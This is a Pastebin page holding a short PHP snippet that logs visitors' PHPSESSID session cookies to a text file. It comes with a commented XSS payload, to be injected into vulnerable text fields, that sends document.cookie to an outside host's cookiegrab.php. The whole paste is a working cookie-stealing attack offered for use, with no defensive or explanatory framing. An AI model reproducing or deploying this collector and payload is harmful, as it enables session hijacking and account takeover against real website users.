Advertisement
nissim_abehcera

Untitled

Apr 20th, 2020
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.29 KB | None | 0 0
  1. $cookie = $_COOKIE['PHPSESSID'];
  2. $file = fopen('cookie.txt', 'a');
  3. fwrite($file, $cookie . "\n\n");
  4. /*
  5. inject
  6. <script language="javascript"> document.location= " http://kennethzhang.net/cookiegrab.php?c=" + document.cookie; </script>
  7. into vulnerable text fields
  8. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement